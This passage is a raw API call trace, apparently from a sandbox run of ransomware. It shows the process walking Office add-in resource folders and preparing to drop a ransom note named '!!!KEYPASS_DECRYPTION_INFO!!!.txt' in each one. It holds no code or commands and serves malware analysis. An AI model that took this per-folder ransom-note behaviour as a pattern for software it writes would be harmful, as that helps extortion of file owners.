returned 0 [0274.196] GetFileType (hFile=0x13b8) returned 0x1 [0274.198] CloseHandle (hObject=0x13b8) returned 1 [0274.199] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.199] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.199] GetLastError () returned 0x3f0 [0274.199] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.199] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.199] GetFileType (hFile=0x13bc) returned 0x1 [0274.200] CloseHandle (hObject=0x13bc) returned 1 [0274.200] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.200] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.200] GetLastError () returned 0x3f0 [0274.200] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.200] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.201] GetFileType (hFile=0x13c0) returned 0x1 [0274.202] CloseHandle (hObject=0x13c0) returned 1 [0274.202] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.202] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.202] GetLastError () returned 0x3f0 [0274.202] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.202] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.269] GetFileType (hFile=0x13c8) returned 0x1 [0274.270] CloseHandle (hObject=0x13c8) returned 1 [0274.270] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.270] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.270] GetLastError () returned 0x3f0 [0274.270] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.270] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.271] GetFileType (hFile=0x13cc) returned 0x1 [0274.272] CloseHandle (hObject=0x13cc) returned 1 [0274.272] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.272] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.272] GetLastError () returned 0x3f0 [0274.272] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.272] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.272] GetFileType (hFile=0x13d0) returned 0x1 [0274.273] CloseHandle (hObject=0x13d0) returned 1 [0274.273] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.273] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.273] GetLastError () returned 0x3f0 [0274.273] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.273] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1045\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.304] GetFileType (hFile=0x13d4) returned 0x1 [0274.305] CloseHandle (hObject=0x13d4) returned 1 [0274.305] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.305] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.305] GetLastError () returned 0x3f0 [0274.305] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.305] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1046\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.306] GetFileType (hFile=0x13d8) returned 0x1 [0274.306] CloseHandle (hObject=0x13d8) returned 1 [0274.307] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.307] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.307] GetLastError () returned 0x3f0 [0274.307] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.307] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1048\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.308] GetFileType (hFile=0x13dc) returned 0x1 [0274.308] CloseHandle (hObject=0x13dc) returned 1 [0274.309] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.309] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.309] GetLastError () returned 0x3f0 [0274.309] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.309] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1049\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.311] GetFileType (hFile=0x13e0) returned 0x1 [0274.312] CloseHandle (hObject=0x13e0) returned 1 [0274.312] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.312] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.312] GetLastError () returned 0x3f0 [0274.312] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.312] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1050\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.313] GetFileType (hFile=0x13e4) returned 0x1 [0274.314] CloseHandle (hObject=0x13e4) returned 1 [0274.314] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.314] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.314] GetLastError () returned 0x3f0 [0274.315] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.315] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1051\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.315] GetFileType (hFile=0x13e8) returned 0x1 [0274.316] CloseHandle (hObject=0x13e8) returned 1 [0274.316] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.316] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.316] GetLastError () returned 0x3f0 [0274.317] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.317] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1053\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.318] GetFileType (hFile=0x13ec) returned 0x1 [0274.318] CloseHandle (hObject=0x13ec) returned 1 [0274.319] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.319] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.319] GetLastError () returned 0x3f0 [0274.319] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.319] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1054\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.320] GetFileType (hFile=0x13f0) returned 0x1 [0274.321] CloseHandle (hObject=0x13f0) returned 1 [0274.321] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.322] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.322] GetLastError () returned 0x3f0 [0274.322] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.322] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1055\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.322] GetFileType (hFile=0x13c4) returned 0x1 [0274.323] CloseHandle (hObject=0x13c4) returned 1 [0274.324] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.324] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.324] GetLastError () returned 0x3f0 [0274.324] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.324] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1057\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.325] GetFileType (hFile=0x13f4) returned 0x1 [0274.326] CloseHandle (hObject=0x13f4) returned 1 [0274.326] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.326] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.326] GetLastError () returned 0x3f0 [0274.326] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.326] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.327] GetFileType (hFile=0x13f8) returned 0x1 [0274.328] CloseHandle (hObject=0x13f8) returned 1 [0274.328] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.328] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.328] GetLastError () returned 0x3f0 [0274.328] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.328] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1060\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.329] GetFileType (hFile=0x13fc) returned 0x1 [0274.329] CloseHandle (hObject=0x13fc) returned 1 [0274.329] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.329] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.329] GetLastError () returned 0x3f0 [0274.330] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.330] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1061\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.529] GetFileType (hFile=0x1408) returned 0x1 [0274.530] CloseHandle (hObject=0x1408) returned 1 [0274.530] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.530] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.530] GetLastError () returned 0x3f0 [0274.530] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.530] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.531] GetFileType (hFile=0x140c) returned 0x1 [0274.532] CloseHandle (hObject=0x140c) returned 1 [0274.532] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0274.532] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0274.532] GetLastError () returned 0x3f0 [0274.532] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0274.532] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0274.532] 